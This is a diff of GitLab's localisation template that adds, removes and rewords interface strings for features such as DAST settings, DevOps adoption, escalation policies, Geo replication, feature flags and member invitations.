-msgid "DAST Settings"
-msgstr ""
-
msgid "DNS"
msgstr ""
@@ -10081,6 +9844,18 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Premium plan."
msgstr ""
+msgid "DastConfig|Customize DAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{docsLinkStart}GitLab DAST documentation%{docsLinkEnd}."
+msgstr ""
+
+msgid "DastConfig|DAST Settings"
+msgstr ""
+
+msgid "DastConfig|Generate code snippet"
+msgstr ""
+
+msgid "DastConfig|Scan Configuration"
+msgstr ""
+
msgid "DastProfiles|A passive scan monitors all HTTP messages (requests and responses) sent to the target. An active scan attacks the target to find potential vulnerabilities."
msgstr ""
@@ -10440,9 +10215,6 @@ msgstr ""
msgid "Date range"
msgstr ""
-msgid "Date range cannot exceed %{maxDateRange} days."
-msgstr ""
-
msgid "Date range must be shorter than %{max_range} days."
msgstr ""
@@ -10467,6 +10239,9 @@ msgstr ""
msgid "Days to merge"
msgstr ""
+msgid "Deactivate dormant users after 90 days of inactivity. Users can return to active status by signing in to their account. While inactive, a user is not counted as an active user in the instance."
+msgstr ""
+
msgid "Deactivate this user"
msgstr ""
@@ -10500,7 +10275,7 @@ msgstr ""
msgid "Default"
msgstr ""
-msgid "Default CI configuration path"
+msgid "Default CI/CD configuration file"
msgstr ""
msgid "Default Timeout Period"
@@ -10620,6 +10395,9 @@ msgstr ""
msgid "Delete domain"
msgstr ""
+msgid "Delete file"
+msgstr ""
+
msgid "Delete image repository"
msgstr ""
@@ -11291,12 +11069,30 @@ msgstr ""
msgid "DevOps Report"
msgstr ""
+msgid "DevOps adoption"
+msgstr ""
+
+msgid "DevopsAdoption|%{adoptedCount}/%{featuresCount} %{title} features adopted"
+msgstr ""
+
msgid "DevopsAdoption|Add Group"
msgstr ""
msgid "DevopsAdoption|Add a group to get started"
msgstr ""
+msgid "DevopsAdoption|Add group"
+msgstr ""
+
+msgid "DevopsAdoption|Add group to table"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group to table"
+msgstr ""
+
msgid "DevopsAdoption|Add/remove groups"
msgstr ""
@@ -11354,7 +11150,7 @@ msgstr ""
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
-msgid "DevopsAdoption|Feature adoption is based on usage in the current calendar month. Last updated: %{timestamp}."
+msgid "DevopsAdoption|Feature adoption is based on usage in the previous calendar month. Last updated: %{timestamp}."
msgstr ""
msgid "DevopsAdoption|Filter by name"
@@ -11366,21 +11162,24 @@ msgstr ""
msgid "DevopsAdoption|MRs"
msgstr ""
-msgid "DevopsAdoption|Maximum %{maxSegments} groups allowed"
-msgstr ""
-
msgid "DevopsAdoption|My group"
msgstr ""
msgid "DevopsAdoption|No filter results."
msgstr ""
+msgid "DevopsAdoption|No results…"
+msgstr ""
+
msgid "DevopsAdoption|Not adopted"
msgstr ""
msgid "DevopsAdoption|Ops"
msgstr ""
+msgid "DevopsAdoption|Overall adoption"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11414,6 +11213,9 @@ msgstr ""
msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page."
msgstr ""
+msgid "DevopsAdoption|This group has no sub-groups"
+msgstr ""
+
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
@@ -11435,6 +11237,9 @@ msgstr ""
msgid "DevopsReport|Moderate"
msgstr ""
+msgid "DevopsReport|Overview"
+msgstr ""
+
msgid "DevopsReport|Score"
msgstr ""
@@ -11453,15 +11258,12 @@ msgstr ""
msgid "Didn't receive unlock instructions?"
msgstr ""
-msgid "Diff content limits"
+msgid "Diff files surpassing this limit will be presented as 'too large' and won't be expandable."
msgstr ""
msgid "Diff limits"
msgstr ""
-msgid "Diff view settings"
-msgstr ""
-
msgid "Difference between start date and now"
msgstr ""
@@ -11647,7 +11449,7 @@ msgstr ""
msgid "Display source"
msgstr ""
-msgid "Do not display offers from third parties within GitLab"
+msgid "Do not display offers from third parties"
msgstr ""
msgid "Do you want to remove this deploy key?"
@@ -11698,7 +11500,7 @@ msgstr ""
msgid "Don't paste the private part of the GPG key. Paste the public part which begins with '-----BEGIN PGP PUBLIC KEY BLOCK-----'."
msgstr ""
-msgid "Don't send usage data"
+msgid "Don't send service data"
msgstr ""
msgid "Don't show again"
@@ -11707,6 +11509,9 @@ msgstr ""
msgid "Done"
msgstr ""
+msgid "Dormant users"
+msgstr ""
+
msgid "Download"
msgstr ""
@@ -11923,9 +11728,6 @@ msgstr ""
msgid "Edit iteration"
msgstr ""
-msgid "Edit iteration cadence"
-msgstr ""
-
msgid "Edit public deploy key"
msgstr ""
@@ -11959,9 +11761,6 @@ msgstr ""
msgid "Editing"
msgstr ""
-msgid "Editor Lite instance is required to set up an extension."
-msgstr ""
-
msgid "Elapsed time"
msgstr ""
@@ -12022,6 +11821,9 @@ msgstr ""
msgid "Email display name"
msgstr ""
+msgid "Email from GitLab - email users right from the Admin Area. %{link_start}Learn more%{link_end}."
+msgstr ""
+
msgid "Email not verified. Please verify your email in Salesforce."
msgstr ""
@@ -12151,6 +11953,9 @@ msgstr ""
msgid "Enable Kroki"
msgstr ""
+msgid "Enable Mailgun event receiver"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -12160,13 +11965,16 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Registration Features"
+msgstr ""
+
msgid "Enable Repository Checks"
msgstr ""
msgid "Enable SSL verification"
msgstr ""
-msgid "Enable Seat Link"
+msgid "Enable Snowplow tracking"
msgstr ""
msgid "Enable Spam Check via external API endpoint"
@@ -12247,13 +12055,10 @@ msgstr ""
msgid "Enable mirror configuration"
msgstr ""
-msgid "Enable or disable Seat Link."
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
-msgid "Enable or disable version check and usage ping."
+msgid "Enable or disable version check and service ping."
msgstr ""
msgid "Enable protected paths rate limit"
@@ -12271,6 +12076,9 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
+msgid "Enable service ping"
+msgstr ""
+
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12286,9 +12094,6 @@ msgstr ""
msgid "Enable smartcn custom analyzer: Search"
msgstr ""
-msgid "Enable snowplow tracking"
-msgstr ""
-
msgid "Enable two-factor authentication"
msgstr ""
@@ -12298,9 +12103,6 @@ msgstr ""
msgid "Enable unauthenticated request rate limit"
msgstr ""
-msgid "Enable usage ping"
-msgstr ""
-
msgid "Enable version check"
msgstr ""
@@ -12430,6 +12232,9 @@ msgstr ""
msgid "Enter your password to approve"
msgstr ""
+msgid "Enterprise"
+msgstr ""
+
msgid "Environment"
msgstr ""
@@ -12595,9 +12400,6 @@ msgstr ""
msgid "Environments|Logs from %{start} to %{end}."
msgstr ""
-msgid "Environments|Managed apps"
-msgstr ""
-
msgid "Environments|More information"
msgstr ""
@@ -13078,7 +12880,7 @@ msgstr ""
msgid "Escalation policies"
msgstr ""
-msgid "Escalation policies are not supported for this project"
+msgid "Escalation policies must have at least one rule"
msgstr ""
msgid "EscalationPolicies|+ Add an additional rule"
@@ -13087,30 +12889,54 @@ msgstr ""
msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
msgstr ""
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy. Please create an on-call schedule first."
+msgstr ""
+
msgid "EscalationPolicies|Add an escalation policy"
msgstr ""
msgid "EscalationPolicies|Add escalation policy"
msgstr ""
+msgid "EscalationPolicies|Add policy"
+msgstr ""
+
+msgid "EscalationPolicies|Are you sure you want to delete the \"%{escalationPolicy}\" escalation policy? This action cannot be undone."
+msgstr ""
+
msgid "EscalationPolicies|Create an escalation policy in GitLab"
msgstr ""
+msgid "EscalationPolicies|Delete escalation policy"
+msgstr ""
+
msgid "EscalationPolicies|Edit escalation policy"
msgstr ""
+msgid "EscalationPolicies|Elapsed time must be greater than or equal to zero."
+msgstr ""
+
msgid "EscalationPolicies|Email on-call user in schedule"
msgstr ""
+msgid "EscalationPolicies|Escalation policies"
+msgstr ""
+
msgid "EscalationPolicies|Escalation rules"
msgstr ""
msgid "EscalationPolicies|Failed to load oncall-schedules"
msgstr ""
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} %{then} THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
msgstr ""
+msgid "EscalationPolicies|Remove escalation rule"
+msgstr ""
+
msgid "EscalationPolicies|Select schedule"
msgstr ""
@@ -13120,6 +12946,15 @@ msgstr ""
msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
msgstr ""
+msgid "EscalationPolicies|The escalation policy could not be deleted. Please try again."
+msgstr ""
+
+msgid "EscalationPolicies|The escalation policy could not be updated. Please try again"
+msgstr ""
+
+msgid "EscalationPolicies|mins"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13156,9 +12991,6 @@ msgstr ""
msgid "Events"
msgstr ""
-msgid "Events in %{project_path}"
-msgstr ""
-
msgid "Every %{action} attempt has failed: %{job_error_message}. Please try again."
msgstr ""
@@ -13302,7 +13134,7 @@ msgstr ""
msgid "Experienced"
msgstr ""
-msgid "ExperimentSubject|Must have exactly one of User, Group, or Project."
+msgid "ExperimentSubject|Must have exactly one of User, Namespace, or Project."
msgstr ""
msgid "Expiration"
@@ -13323,9 +13155,6 @@ msgstr ""
msgid "Expires"
msgstr ""
-msgid "Expires at"
-msgstr ""
-
msgid "Expires at (optional)"
msgstr ""
@@ -13422,9 +13251,6 @@ msgstr ""
msgid "External storage authentication token"
msgstr ""
-msgid "External url has already been taken"
-msgstr ""
-
msgid "ExternalAuthorizationService|Classification label"
msgstr ""
@@ -13443,9 +13269,6 @@ msgstr ""
msgid "ExternalWikiService|https://example.com/xxx/wiki/..."
msgstr ""
-msgid "Externally installed"
-msgstr ""
-
msgid "Facebook"
msgstr ""
@@ -13731,9 +13554,6 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
-msgid "Feature flag is not enabled on the environment's project."
-msgstr ""
-
msgid "Feature flag status"
msgstr ""
@@ -13763,9 +13583,6 @@ msgstr ""
msgid "FeatureFlags|* (All Environments)"
msgstr ""
-msgid "FeatureFlags|* (All environments)"
-msgstr ""
-
msgid "FeatureFlags|API URL"
msgstr ""
@@ -13814,9 +13631,6 @@ msgstr ""
msgid "FeatureFlags|Enable features for specific users and environments by configuring feature flag strategies."
msgstr ""
-msgid "FeatureFlags|Environment Spec"
-msgstr ""
-
msgid "FeatureFlags|Environment Specs"
msgstr ""
@@ -13847,9 +13661,6 @@ msgstr ""
msgid "FeatureFlags|Feature flags limit reached (%{featureFlagsLimit}). Delete one or more feature flags before adding new ones."
msgstr ""
-msgid "FeatureFlags|Flag is read-only"
-msgstr ""
-
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
@@ -13865,9 +13676,6 @@ msgstr ""
msgid "FeatureFlags|Inactive flag for %{scope}"
msgstr ""
-msgid "FeatureFlags|Include additional user IDs"
-msgstr ""
-
msgid "FeatureFlags|Install a %{docsLinkAnchoredStart}compatible client library%{docsLinkAnchoredEnd} and specify the API URL, application name, and instance ID during the configuration setup. %{docsLinkStart}More Information%{docsLinkEnd}"
msgstr ""
@@ -13907,24 +13715,12 @@ msgstr ""
msgid "FeatureFlags|Percent rollout"
msgstr ""
-msgid "FeatureFlags|Percent rollout (logged in users)"
-msgstr ""
-
msgid "FeatureFlags|Percent rollout must be an integer number between 0 and 100"
msgstr ""
-msgid "FeatureFlags|Protected"
-msgstr ""
-
msgid "FeatureFlags|Remove"
msgstr ""
-msgid "FeatureFlags|Rollout Percentage"
-msgstr ""
-
-msgid "FeatureFlags|Rollout Strategy"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -13934,9 +13730,6 @@ msgstr ""
msgid "FeatureFlags|Strategies"
msgstr ""
-msgid "FeatureFlags|Target environments"
-msgstr ""
-
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
@@ -14020,9 +13813,6 @@ msgstr ""
msgid "File deleted"
msgstr ""
-msgid "File format is no longer supported"
-msgstr ""
-
msgid "File hooks are similar to system hooks but are executed as files instead of sending data to a URL."
msgstr ""
@@ -14038,6 +13828,9 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
+msgid "File suppressed by a .gitattributes entry or the file's encoding is unsupported."
+msgstr ""
+
msgid "File synchronization concurrency limit"
msgstr ""
@@ -14104,9 +13897,6 @@ msgstr ""
msgid "Filter by name"
msgstr ""
-msgid "Filter by status"
-msgstr ""
-
msgid "Filter by test cases that are currently archived."
msgstr ""
@@ -14275,6 +14065,9 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
+msgid "For example, the application using the token or the purpose of the token."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -14296,10 +14089,7 @@ msgstr ""
msgid "For more information, see the File Hooks documentation."
msgstr ""
-msgid "For more information, see the documentation on %{deactivating_usage_ping_link_start}deactivating the usage ping%{deactivating_usage_ping_link_end}."
-msgstr ""
-
-msgid "For more information, see the documentation on %{link_start}disabling Seat Link%{link_end}."
+msgid "For more information, see the documentation on %{deactivating_service_ping_link_start}deactivating service ping%{deactivating_service_ping_link_end}."
msgstr ""
msgid "Forgot your password?"
@@ -14503,159 +14293,21 @@ msgstr ""
msgid "Geo Nodes"
msgstr ""
-msgid "Geo Nodes|Cannot remove a primary node if there is a secondary node"
-msgstr ""
-
msgid "Geo Replication"
msgstr ""
msgid "Geo Settings"
msgstr ""
-msgid "Geo nodes are paused using a command run on the node"
-msgstr ""
-
msgid "Geo sites"
msgstr ""
-msgid "GeoNodeStatusEvent|%{timeAgoStr} (%{pendingEvents} events)"
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is failing or broken."
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
-msgstr ""
-
-msgid "GeoNodes|Consult Geo troubleshooting information"
-msgstr ""
-
-msgid "GeoNodes|Data replication lag"
-msgstr ""
-
-msgid "GeoNodes|Does not match the primary storage configuration"
-msgstr ""
-
-msgid "GeoNodes|Full"
-msgstr ""
-
-msgid "GeoNodes|GitLab version"
-msgstr ""
-
-msgid "GeoNodes|GitLab version does not match the primary node version"
-msgstr ""
-
-msgid "GeoNodes|Health status"
-msgstr ""
-
-msgid "GeoNodes|Internal URL"
-msgstr ""
-
-msgid "GeoNodes|Last event ID processed by cursor"
-msgstr ""
-
-msgid "GeoNodes|Last event ID seen from primary"
-msgstr ""
-
-msgid "GeoNodes|Learn more about Geo node statuses"
-msgstr ""
-
-msgid "GeoNodes|Loading nodes"
-msgstr ""
-
-msgid "GeoNodes|New node"
-msgstr ""
-
-msgid "GeoNodes|Node Authentication was successfully repaired."
-msgstr ""
-
-msgid "GeoNodes|Node URL"
-msgstr ""
-
-msgid "GeoNodes|Node was successfully removed."
-msgstr ""
-
-msgid "GeoNodes|Node's status was updated %{timeAgo}."
-msgstr ""
-
-msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo primary node stops the synchronization to all nodes. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo secondary node stops the synchronization to that node. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Replicated data is verified with the %{nodeText} using checksums"
-msgstr ""
-
-msgid "GeoNodes|Replication slot WAL"
-msgstr ""
-
-msgid "GeoNodes|Replication slots"
-msgstr ""
-
-msgid "GeoNodes|Replication status"
-msgstr ""
-
-msgid "GeoNodes|Selective (%{syncLabel})"
-msgstr ""
-
-msgid "GeoNodes|Selective synchronization"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while changing node status"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while fetching nodes"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while removing node"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while repairing node"
-msgstr ""
-
-msgid "GeoNodes|Storage config"
-msgstr ""
-
-msgid "GeoNodes|Sync settings"
-msgstr ""
-
-msgid "GeoNodes|Unused slots"
-msgstr ""
-
-msgid "GeoNodes|Updated %{timeAgo}"
-msgstr ""
-
-msgid "GeoNodes|Used slots"
-msgstr ""
-
-msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
-msgstr ""
-
-msgid "GeoNodes|You have configured Geo nodes using an insecure HTTP connection. We recommend the use of HTTPS."
-msgstr ""
-
-msgid "GeoNodes|primary node"
-msgstr ""
-
-msgid "GeoNodes|secondary nodes"
-msgstr ""
-
msgid "Geo|%{component} synced"
msgstr ""
msgid "Geo|%{component} verified"
msgstr ""
-msgid "Geo|%{itemTitle} checksum progress"
-msgstr ""
-
-msgid "Geo|%{itemTitle} verification progress"
-msgstr ""
-
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -14746,6 +14398,9 @@ msgstr ""
msgid "Geo|Failed"
msgstr ""
+msgid "Geo|Filter by name"
+msgstr ""
+
msgid "Geo|Filter by status"
msgstr ""
@@ -14845,9 +14500,6 @@ msgstr ""
msgid "Geo|Pending verification"
msgstr ""
-msgid "Geo|Please refer to Geo Troubleshooting."
-msgstr ""
-
msgid "Geo|Primary node"
msgstr ""
@@ -14920,6 +14572,12 @@ msgstr ""
msgid "Geo|Resync all"
msgstr ""
+msgid "Geo|Resync all %{replicableType}"
+msgstr ""
+
+msgid "Geo|Resync all projects"
+msgstr ""
+
msgid "Geo|Retry count"
msgstr ""
@@ -14929,6 +14587,9 @@ msgstr ""
msgid "Geo|Reverify all"
msgstr ""
+msgid "Geo|Reverify all projects"
+msgstr ""
+
msgid "Geo|Review replication status, and resynchronize and reverify items with the primary node."
msgstr ""
@@ -14959,9 +14620,6 @@ msgstr ""
msgid "Geo|Synchronization failed - %{error}"
msgstr ""
-msgid "Geo|Synchronization of %{itemTitle} is disabled."
-msgstr ""
-
msgid "Geo|Synchronization settings"
msgstr ""
@@ -14983,6 +14641,15 @@ msgstr ""
msgid "Geo|There was an error fetching the Geo Nodes"
msgstr ""
+msgid "Geo|This will resync all %{replicableType}. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will resync all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will reverify all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
msgid "Geo|Tracking database entry will be removed. Are you sure?"
msgstr ""
@@ -15523,9 +15190,6 @@ msgstr ""
msgid "Goal of the changes and what reviewers should be aware of"
msgstr ""
-msgid "Google Cloud Platform"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -15571,6 +15235,15 @@ msgstr ""
msgid "Graph"
msgstr ""
+msgid "GraphViewType|Job dependencies"
+msgstr ""
+
+msgid "GraphViewType|Show dependencies"
+msgstr ""
+
+msgid "GraphViewType|Stage"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -15592,9 +15265,6 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
-msgid "Group Audit Events"
-msgstr ""
-
msgid "Group Git LFS status:"
msgstr ""
@@ -15625,6 +15295,9 @@ msgstr ""
msgid "Group applications"
msgstr ""
+msgid "Group audit events"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -15694,13 +15367,10 @@ msgstr ""
msgid "Group navigation"
msgstr ""
-msgid "Group overview"
-msgstr ""
-
msgid "Group overview content"
msgstr ""
-msgid "Group path is already taken. Suggestions: "
+msgid "Group path is already taken. We've suggested one that is available."
msgstr ""
msgid "Group path is available."
@@ -15736,9 +15406,6 @@ msgstr ""
msgid "Group was successfully updated."
msgstr ""
-msgid "Group-level events in %{group_name} (no project-level events)"
-msgstr ""
-
msgid "Group: %{group_name}"
msgstr ""
@@ -16051,18 +15718,15 @@ msgstr ""
msgid "GroupSettings|Prevent forking setting was not saved"
msgstr ""
-msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
+msgid "GroupSettings|Prevent members from sending invitations to groups outside of %{group} and its subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay."
+msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. Inherited by subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings."
-msgstr ""
-
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings. Inherited by subgroups."
msgstr ""
@@ -16087,6 +15751,9 @@ msgstr ""
msgid "GroupSettings|This setting is applied on %{ancestor_group}. You can override the setting or %{remove_ancestor_share_with_group_lock}."
msgstr ""
+msgid "GroupSettings|This setting is only available on the top-level group and it applies to all subgroups. Groups that have already been shared with a group outside %{group} will still be shared, and this access will have to be revoked manually."
+msgstr ""
+
msgid "GroupSettings|This setting will be applied to all subgroups unless overridden by a group owner. Groups that already have access to the project will continue to have access unless removed manually."
msgstr ""
@@ -16126,13 +15793,13 @@ msgstr ""
msgid "GroupSettings|remove the share with group lock from %{ancestor_group_name}"
msgstr ""
-msgid "Groups"
+msgid "GroupTemplate|The selected group's repositories and databases are copied into the projects created in this group. %{link_start}What should I add to my template group?%{link_end} "
msgstr ""
-msgid "Groups (%{count})"
+msgid "Groups"
msgstr ""
-msgid "Groups (%{groups})"
+msgid "Groups (%{count})"
msgstr ""
msgid "Groups and projects"
@@ -16315,6 +15982,9 @@ msgstr ""
msgid "Heading 3"
msgstr ""
+msgid "Heading 4"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16431,6 +16101,9 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
+msgid "Hide tooltips or popovers"
+msgstr ""
+
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16514,9 +16187,6 @@ msgstr ""
msgid "How do I set up this service?"
msgstr ""
-msgid "How does cleanup work?"
-msgstr ""
-
msgid "How it works"
msgstr ""
@@ -16664,6 +16334,9 @@ msgstr ""
msgid "If enabled, only protected branches will be mirrored."
msgstr ""
+msgid "If no options are selected, only administrators can register runners."
+msgstr ""
+
msgid "If the YouTube URL is https://www.youtube.com/watch?v=0t1DgySidms then the video ID is %{id}"
msgstr ""
@@ -16842,9 +16515,6 @@ msgstr ""
msgid "Import project members"
msgstr ""
-msgid "Import project/repository"
-msgstr ""
-
msgid "Import projects from Bitbucket"
msgstr ""
@@ -17348,13 +17018,16 @@ msgstr ""
msgid "InProductMarketing|you may %{unsubscribe_link} at any time."
msgstr ""
+msgid "Inactive"
+msgstr ""
+
msgid "Incident"
msgstr ""
msgid "Incident Management Limits"
msgstr ""
-msgid "Incident template (optional)"
+msgid "Incident template (optional)."
msgstr ""
msgid "IncidentManagement|%{hours} hours, %{minutes} minutes remaining"
@@ -17444,9 +17117,6 @@ msgstr ""
msgid "IncidentSettings|Activate \"time to SLA\" countdown timer"
msgstr ""
-msgid "IncidentSettings|Alert integration"
-msgstr ""
-
msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
msgstr ""
@@ -17600,6 +17270,18 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "InfrastructureRegistry|Copy Terraform Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy Terraform Setup Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy and paste into your Terraform configuration, insert the variables, and run Terraform init:"
+msgstr ""
+
+msgid "InfrastructureRegistry|For more information on the Terraform registry, %{linkStart}see our documentation%{linkEnd}."
+msgstr ""
+
msgid "InfrastructureRegistry|Infrastructure Registry"
msgstr ""
@@ -17612,6 +17294,9 @@ msgstr ""
msgid "InfrastructureRegistry|Terraform modules are the main way to package and reuse resource configurations with Terraform. Learn more about how to %{noPackagesLinkStart}create Terraform modules%{noPackagesLinkEnd} in GitLab."
msgstr ""
+msgid "InfrastructureRegistry|To authorize access to the Terraform registry:"
+msgstr ""
+
msgid "InfrastructureRegistry|You have no Terraform modules in your project"
msgstr ""
@@ -17651,6 +17336,9 @@ msgstr ""
msgid "Insert inline code"
msgstr ""
+msgid "Insert link"
+msgstr ""
+
msgid "Insert suggestion"
msgstr ""
@@ -17666,9 +17354,6 @@ msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
msgstr ""
-msgid "Install"
-msgstr ""
-
msgid "Install GitLab Runner and ensure it's running."
msgstr ""
@@ -17681,12 +17366,6 @@ msgstr ""
msgid "Installation"
msgstr ""
-msgid "Installed"
-msgstr ""
-
-msgid "Installing"
-msgstr ""
-
msgid "Instance"
msgid_plural "Instances"
msgstr[0] ""
@@ -17707,6 +17386,9 @@ msgstr ""
msgid "Instance administrators group already exists"
msgstr ""
+msgid "Instance audit events"
+msgstr ""
+
msgid "Instance overview"
msgstr ""
@@ -17749,9 +17431,6 @@ msgstr ""
msgid "Integrations|All projects inheriting these settings will also be reset."
msgstr ""
-msgid "Integrations|As a GitLab administrator, you can set default configuration parameters for a given integration that all projects can inherit and use. When you set these parameters, your changes update the integration for all projects that are not already using custom settings. Learn more about %{integrations_link_start}Project integration management%{link_end}."
-msgstr ""
-
msgid "Integrations|Browser limitations"
msgstr ""
@@ -17791,12 +17470,24 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
+msgid "Integrations|GitLab administrators can set up integrations that all groups and projects inherit and use by default. These integrations apply to all groups and projects that don't already use custom settings. You can override custom settings for a group or project if the settings are necessary at that level. Learn more about %{integrations_link_start}instance-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|GitLab administrators can set up integrations that all projects in a group inherit and use by default. These integrations apply to all projects that don't already use custom settings. You can override custom settings for a project if the settings are necessary at that level. Learn more about %{integrations_link_start}group-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|Group-level integration management"
+msgstr ""
+
msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
msgid "Integrations|Includes commit title and branch."
msgstr ""
+msgid "Integrations|Instance-level integration management"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -17821,9 +17512,6 @@ msgstr ""
msgid "Integrations|Note: this integration only works with accounts on GitLab.com (SaaS)."
msgstr ""
-msgid "Integrations|Project integration management"
-msgstr ""
-
msgid "Integrations|Projects using custom settings will not be affected."
msgstr ""
@@ -17974,6 +17662,9 @@ msgstr ""
msgid "Invalid login or password"
msgstr ""
+msgid "Invalid period"
+msgstr ""
+
msgid "Invalid pin code"
msgstr ""
@@ -18049,25 +17740,7 @@ msgstr ""
msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
msgstr ""
-msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} with the %{role} permission level."
-msgstr ""
-
-msgid "InviteEmail|As a developer, you have full access to projects, so you can take an idea from concept to production."
-msgstr ""
-
-msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
-msgstr ""
-
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
-msgstr ""
-
-msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
-msgstr ""
-
-msgid "InviteEmail|As a user with minimal access, you can view the high-level group from the UI and API."
-msgstr ""
-
-msgid "InviteEmail|As an owner, you have full access to projects and can manage access to the group, including inviting new members."
+msgid "InviteEmail|%{project_or_group} details"
msgstr ""
msgid "InviteEmail|Groups assemble related projects together and grant members access to several projects at once."
@@ -18076,13 +17749,10 @@ msgstr ""
msgid "InviteEmail|Join now"
msgstr ""
-msgid "InviteEmail|Projects can be used to host your code, track issues, collaborate on code, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
+msgid "InviteEmail|Projects are used to host and collaborate on code, track issues, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
msgstr ""
-msgid "InviteEmail|What can I do with the %{role} permission level?"
-msgstr ""
-
-msgid "InviteEmail|What is a GitLab %{project_or_group}?"
+msgid "InviteEmail|What's it about?"
msgstr ""
msgid "InviteEmail|You are invited to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
@@ -18103,7 +17773,7 @@ msgstr ""
msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
msgstr ""
-msgid "InviteMembersModal|%{linkStart}Read more%{linkEnd} about role permissions"
+msgid "InviteMembersModal|%{linkStart}Learn more%{linkEnd} about roles."
msgstr ""
msgid "InviteMembersModal|Access expiration date (optional)"
@@ -18112,9 +17782,6 @@ msgstr ""
msgid "InviteMembersModal|Cancel"
msgstr ""
-msgid "InviteMembersModal|Choose a role permission"
-msgstr ""
-
msgid "InviteMembersModal|Close invite team members"
msgstr ""
